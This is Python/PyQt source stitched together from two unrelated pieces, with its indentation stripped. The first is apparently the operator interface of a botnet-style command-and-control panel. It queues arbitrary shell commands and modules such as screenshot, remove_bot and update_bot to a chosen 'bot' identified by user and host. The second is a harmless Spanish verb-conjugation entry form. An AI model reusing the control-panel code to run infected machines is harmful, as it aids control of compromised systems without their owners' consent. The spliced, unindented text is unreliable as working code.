class _ExecuteTab(QTabWidget):
"""Tab used to execute modules or shell commands on the selected bot."""
def __init__(self, responses_tab: _ResponsesTab, model):
super().__init__()
self._model = model
self._current_layout = None
self._current_bot = None
self._layout = QGridLayout()
self._sub_layout = QVBoxLayout()
self._module_view = ModuleView(responses_tab)
self._layout.setAlignment(Qt.AlignTop)
self.setLayout(self._layout)
self.set_empty_layout()
def set_current_bot(self, bot: Bot):
"""Sets the connected bot this tab will interact with."""
self._current_bot = bot
def _clear_layout(self):
while self._layout.count():
child = self._layout.takeAt(0)
if child.widget():
child.widget().deleteLater()
while self._sub_layout.count():
child = self._sub_layout.takeAt(0)
if child.widget():
child.widget().deleteLater()
def set_empty_layout(self):
"""Default layout shown when the user has not yet selected a row."""
self._current_layout = "Empty"
self._clear_layout()
self._layout.addWidget(
QLabel("Please select a bot in the table above."), 0, 0)
def set_module_layout(self, module_name: str = "screenshot"):
"""Sets the layout which can execute modules."""
self._current_layout = "Module"
self._clear_layout()
command_type_label = QLabel("Command type: ")
command_type_combobox = QComboBox()
command_type_combobox.addItem("Module")
command_type_combobox.addItem("Shell")
module_label = QLabel("Module name: ")
module_combobox = QComboBox()
for module_name in modules.get_names():
module_combobox.addItem(module_name)
module_combobox.currentTextChanged.connect(self._on_module_change)
command_type_combobox.currentTextChanged.connect(
self._on_command_type_change)
self._layout.setColumnStretch(1, 1)
self._layout.addWidget(command_type_label, 0, 0)
self._layout.addWidget(command_type_combobox, 0, 1)
self._layout.addWidget(module_label, 1, 0)
self._layout.addWidget(module_combobox, 1, 1)
# Module layout
cached_module = modules.get_module(module_name)
if not cached_module:
cached_module = modules.load_module(module_name, self._module_view,
self._model)
input_fields = []
for option_name in cached_module.get_setup_messages():
input_field = QLineEdit()
self._sub_layout.addWidget(QLabel(option_name))
self._sub_layout.addWidget(input_field)
input_fields.append(input_field)
run_button = QPushButton("Run")
run_button.setMaximumWidth(250)
run_button.setMinimumHeight(25)
run_button.pressed.connect(lambda: self._on_module_run(
module_combobox.currentText(), input_fields))
self._sub_layout.addWidget(QLabel(""))
self._sub_layout.addWidget(run_button)
self._sub_layout.setContentsMargins(0, 15, 0, 0)
self._layout.addLayout(self._sub_layout,
self._layout.rowCount() + 2, 0, 1, 2)
self._on_module_change(module_combobox.currentText())
def set_shell_layout(self):
"""Sets the layout which can execute shell commands."""
self._current_layout = "Shell"
self._clear_layout()
command_type_label = QLabel("Command type: ")
command_type_combobox = QComboBox()
command_type_combobox.addItem("Shell")
command_type_combobox.addItem("Module")
command_label = QLabel("Command:")
command_input = QLineEdit()
run_button = QPushButton("Run")
run_button.setMaximumWidth(250)
run_button.setMinimumHeight(25)
command_type_combobox.currentTextChanged.connect(
self._on_command_type_change)
run_button.pressed.connect(lambda: self._on_command_run(command_input))
self._layout.addWidget(command_type_label, 0, 0)
self._layout.addWidget(command_type_combobox, 0, 1)
self._layout.addWidget(command_label, 1, 0)
self._layout.addWidget(command_input, 1, 1)
self._sub_layout.addWidget(QLabel(""))
self._sub_layout.addWidget(run_button)
self._sub_layout.setContentsMargins(0, 15, 0, 0)
self._layout.addLayout(self._sub_layout,
self._layout.rowCount() + 2, 0, 1, 2)
def _on_command_type_change(self, text: str):
"""Handles the command type combobox change event."""
if text == "Module":
self.set_module_layout()
else:
self.set_shell_layout()
def _on_module_change(self, module_name: str):
"""Handles module combobox changes."""
while self._sub_layout.count():
child = self._sub_layout.takeAt(0)
if child.widget():
child.widget().deleteLater()
cached_module = modules.get_module(module_name)
if not cached_module:
cached_module = modules.load_module(module_name, self._module_view,
self._model)
input_fields = []
for option_name in cached_module.get_setup_messages():
input_field = QLineEdit()
input_fields.append(input_field)
self._sub_layout.addWidget(QLabel(option_name))
self._sub_layout.addWidget(input_field)
run_button = QPushButton("Run")
run_button.setMaximumWidth(250)
run_button.setMinimumHeight(25)
run_button.pressed.connect(
lambda: self._on_module_run(module_name, input_fields))
self._sub_layout.addWidget(QLabel(""))
self._sub_layout.addWidget(run_button)
self._sub_layout.setContentsMargins(0, 15, 0, 0)
def display_info(self, text: str):
message_box = QMessageBox()
message_box.setIcon(QMessageBox.Information)
message_box.setWindowTitle("Information")
message_box.setText(text)
message_box.setStandardButtons(QMessageBox.Ok)
message_box.exec_()
def _on_module_run(self, module_name: str, input_fields: list):
"""Handles running modules."""
set_options = []
for input_field in input_fields:
set_options.append(input_field.text())
module = modules.get_module(module_name)
if not module:
module = modules.load_module(module_name, self._module_view,
self._model)
successful, options = module.setup(set_options)
if successful:
if module_name == "remove_bot":
code = loaders.get_remove_code(self._current_bot.loader_name)
elif module_name == "update_bot":
code = loaders.get_update_code(self._current_bot.loader_name)
else:
code = modules.get_code(module_name)
if not options:
options = {}
options["module_name"] = module_name
self._model.add_command(self._current_bot.uid,
Command(CommandType.MODULE, code, options))
self.display_info("Module added to the queue of:\n {}@{}".format(
self._current_bot.username, self._current_bot.hostname))
def _on_command_run(self, command_input: QLineEdit):
"""Handles running commands."""
if command_input.text().strip() == "":
return
self._model.add_command(
self._current_bot.uid,
Command(CommandType.SHELL,
command_input.text().encode()))
command_input.clear()
self.display_info("Command added to the queue of:\n {}@{}".format(
self._current_bot.username, self._current_bot.hostname))
class LLT_ConjAdd(QMainWindow):
def __init__(self):
super(LLT_ConjAdd, self).__init__()
self.w = QWidget()
self.setCentralWidget(self.w)
#construct GUI
self.setWindowTitle("Verb Conjugations")
self.setGeometry(0, 0, 900, 600)
self.conjDicList = []
self.wordList = []
self.newDic = {'INF': '', 'IND': '', 'SUB': '', 'IMP': ''}
self.headingLab = QLabel("Add New Conjugation Table")
self.wordInfLab = QLabel("Infinitive")
self.wordInfLab.setAlignment(Qt.AlignRight)
self.infEntry = QLineEdit()
#INDICATIVE FORM TABLE
self.indLab = QLabel("Indicative")
self.indYoLab = QLabel("Yo")
self.indYoLab.setAlignment(Qt.AlignRight)
self.indTuLab = QLabel("Tú")
self.indTuLab.setAlignment(Qt.AlignRight)
self.indUstLab = QLabel("Él/la, Ud")
self.indUstLab.setAlignment(Qt.AlignRight)
self.indNosLab = QLabel("Nosotros")
self.indNosLab.setAlignment(Qt.AlignRight)
self.indUstdsLab = QLabel("Ellos/as, Uds")
self.indUstdsLab.setAlignment(Qt.AlignRight)
self.indPresLab = QLabel("Present")
self.indPretLab = QLabel("Preterite")
self.indImpLab = QLabel("Imperfect")
self.indFutLab = QLabel("Future")
self.indCondLab = QLabel("Conditional")
self.entryGridInd = QGridLayout()
for i in range(5):
for j in range(5):
self.entry = QLineEdit()
self.entryGridInd.addWidget(self.entry, i, j)
#SUBJUNCTIVE FORM TABLE
self.subLab = QLabel("Subjunctive")
self.subYoLab = QLabel("Yo")
self.subYoLab.setAlignment(Qt.AlignRight)
self.subTuLab = QLabel("Tú")
self.subTuLab.setAlignment(Qt.AlignRight)
self.subUstLab = QLabel("Él/la, Ud")
self.subUstLab.setAlignment(Qt.AlignRight)
self.subNosLab = QLabel("Nosotros/as")
self.subNosLab.setAlignment(Qt.AlignRight)
self.subUstdsLab = QLabel("Ellos/as, Uds")
self.subUstdsLab.setAlignment(Qt.AlignRight)
self.subPresLab = QLabel("Present")
self.subImpLab = QLabel("Imperfect")
self.subFutLab = QLabel("Future")
self.entryGridSub = QGridLayout()
for i in range(5):
for j in range(3):
self.entry = QLineEdit()
self.entryGridSub.addWidget(self.entry, i, j)
#IMPERATIVE FORM TABLE
self.impvLab = QLabel("Imperative")
self.impvTu = QLabel("Tú")
self.impvTu.setAlignment(Qt.AlignRight)
self.impvUd = QLabel("Usted")
self.impvUd.setAlignment(Qt.AlignRight)
self.impvNos = QLabel("Nosotros/as")
self.impvNos.setAlignment(Qt.AlignRight)
self.impvUdes = QLabel("Ustedes")
self.impvUdes.setAlignment(Qt.AlignRight)
self.impvAffLab = QLabel("Affirmative")
self.impvNegLab = QLabel("Negative")
self.entryGridImpv = QGridLayout()
for i in range(4):
for j in range(2):
self.entry = QLineEdit()
self.entryGridImpv.addWidget(self.entry, i, j)
self.checkBut = QPushButton("Check")
self.checkBut.clicked.connect(self.check)
self.saveBut = QPushButton("Save")
self.saveBut.clicked.connect(self.save)
self.newBut = QPushButton("New Word")
self.newBut.clicked.connect(self.new)
self.clearBut = QPushButton("Clear")
self.clearBut.clicked.connect(self.clear)
self.quitBut = QPushButton("Quit")
self.quitBut.clicked.connect(self.quit)
self.theGrid = QGridLayout()
self.theGrid.addWidget(self.headingLab, 0, 0)
self.theGrid.addWidget(self.wordInfLab, 1, 0)
self.theGrid.addWidget(self.infEntry, 1, 1)
self.theGrid.addWidget(self.indLab, 3, 0)
self.theGrid.addWidget(self.indPresLab, 3, 1)
self.theGrid.addWidget(self.indPretLab, 3, 2)
self.theGrid.addWidget(self.indImpLab, 3, 3)
self.theGrid.addWidget(self.indFutLab, 3, 4)
self.theGrid.addWidget(self.indCondLab, 3, 5)
self.theGrid.addWidget(self.indYoLab, 4, 0)
self.theGrid.addWidget(self.indTuLab, 5, 0)
self.theGrid.addWidget(self.indUstLab, 6, 0)
self.theGrid.addWidget(self.indNosLab, 7, 0)
self.theGrid.addWidget(self.indUstdsLab, 8, 0)
self.theGrid.addLayout(self.entryGridInd, 4, 1, 5, 5)
self.theGrid.addWidget(self.subLab, 11, 0)
self.theGrid.addWidget(self.subPresLab, 11, 1)
self.theGrid.addWidget(self.subImpLab, 11, 2)
self.theGrid.addWidget(self.subFutLab, 11, 3)
self.theGrid.addWidget(self.subYoLab, 12, 0)
self.theGrid.addWidget(self.subTuLab, 13, 0)
self.theGrid.addWidget(self.subUstLab, 14, 0)
self.theGrid.addWidget(self.subNosLab, 15, 0)
self.theGrid.addWidget(self.subUstdsLab, 16, 0)
self.theGrid.addLayout(self.entryGridSub, 12, 1, 5, 3)
self.theGrid.addWidget(self.impvLab, 19, 0)
self.theGrid.addWidget(self.impvAffLab, 19, 1)
self.theGrid.addWidget(self.impvNegLab, 19, 2)
self.theGrid.addWidget(self.impvTu, 20, 0)
self.theGrid.addWidget(self.impvUd, 21, 0)
self.theGrid.addWidget(self.impvNos, 22, 0)
self.theGrid.addWidget(self.impvUdes, 23, 0)
self.theGrid.addLayout(self.entryGridImpv, 20, 1, 4, 2)
self.theGrid.addWidget(self.checkBut, 19, 5)
self.theGrid.addWidget(self.saveBut, 20, 5)
self.theGrid.addWidget(self.clearBut, 21, 5)
self.theGrid.addWidget(self.newBut, 22, 5)
self.theGrid.addWidget(self.quitBut, 23, 5)
for i in range(24):
self.theGrid.setRowStretch(i, 1)
for j in range(6):
self.theGrid.setColumnStretch(j, 1)
self.w.setLayout(self.theGrid)
self.getDic()
def check(self):
word = self.infEntry.text().upper()
if word in self.wordList:
msgBox = QMessageBox()
msgBox.setText(word + ' already in dictionary')
msgBox.exec_()
else:
msgBox = QMessageBox()
msgBox.setText(word + ' not in dictionary yet')
msgBox.exec_()
def save(self):
infinitive = self.infEntry.text().upper()
if infinitive in self.wordList:
msgBox = QMessageBox()
msgBox.setText(infinitive + ' already in dictionary')
msgBox.exec_()
else:
self.wordList.append(infinitive)
indList = []
subList = []
impList = []
for i in range(self.entryGridInd.count()):
item = self.entryGridInd.itemAt(i)
child = item.widget()
indList.append(child.text().upper())
for i in range(self.entryGridSub.count()):
item = self.entryGridSub.itemAt(i)
child = item.widget()
subList.append(child.text().upper())
for i in range(self.entryGridImpv.count()):
item = self.entryGridImpv.itemAt(i)
child = item.widget()
impList.append(child.text().upper())
self.newDic['INF'] = infinitive
self.newDic['IND'] = indList
self.newDic['SUB'] = subList
self.newDic['IMP'] = impList
self.conjDicList.append(self.newDic)
c = open('conj.txt', 'w')
json.dump(self.conjDicList, c)
c.close()
msgBox = QMessageBox()
msgBox.setText(infinitive + ' has been saved')
msgBox.exec_()
self.newDic = {'INF': '', 'IND': '', 'SUB': '', 'IMP': ''}
def new(self):
confirm = QMessageBox.question(
self.w, 'New Word',
'Are you sure you want to clear all entries \nand start a new word?',
QMessageBox.Yes | QMessageBox.No)
if confirm == QMessageBox.Yes:
self.infEntry.clear()
for i in range(self.entryGridInd.count()):
item = self.entryGridInd.itemAt(i)
child = item.widget()
child.clear()
for i in range(self.entryGridSub.count()):
item = self.entryGridSub.itemAt(i)
child = item.widget()
child.clear()
for i in range(self.entryGridImpv.count()):
item = self.entryGridImpv.itemAt(i)
child = item.widget()
child.clear()
else:
pass
def clear(self):
confirm = QMessageBox.question(
self.w, 'Clear', 'Are you sure you want to clear all entries?',
QMessageBox.Yes | QMessageBox.No)
if confirm == QMessageBox.Yes:
self.infEntry.clear()
for i in range(self.entryGridInd.count()):
item = self.entryGridInd.itemAt(i)
child = item.widget()
child.clear()
for i in range(self.entryGridSub.count()):
item = self.entryGridSub.itemAt(i)
child = item.widget()
child.clear()
for i in range(self.entryGridImpv.count()):
item = self.entryGridImpv.itemAt(i)
child = item.widget()
child.clear()
else:
pass
def quit(self):
confirm = QMessageBox.question(self.w, 'Quit',
'Are you sure you want to exit?',
QMessageBox.Yes | QMessageBox.No)
if confirm == QMessageBox.Yes:
self.close()
else:
pass
def getDic(self):
try:
c = open('conj.txt', 'r')
self.conjDicList = json.load(c)
c.close()
for item in self.conjDicList:
self.wordList.append(item['INF'])
except:
self.conjDicList = []
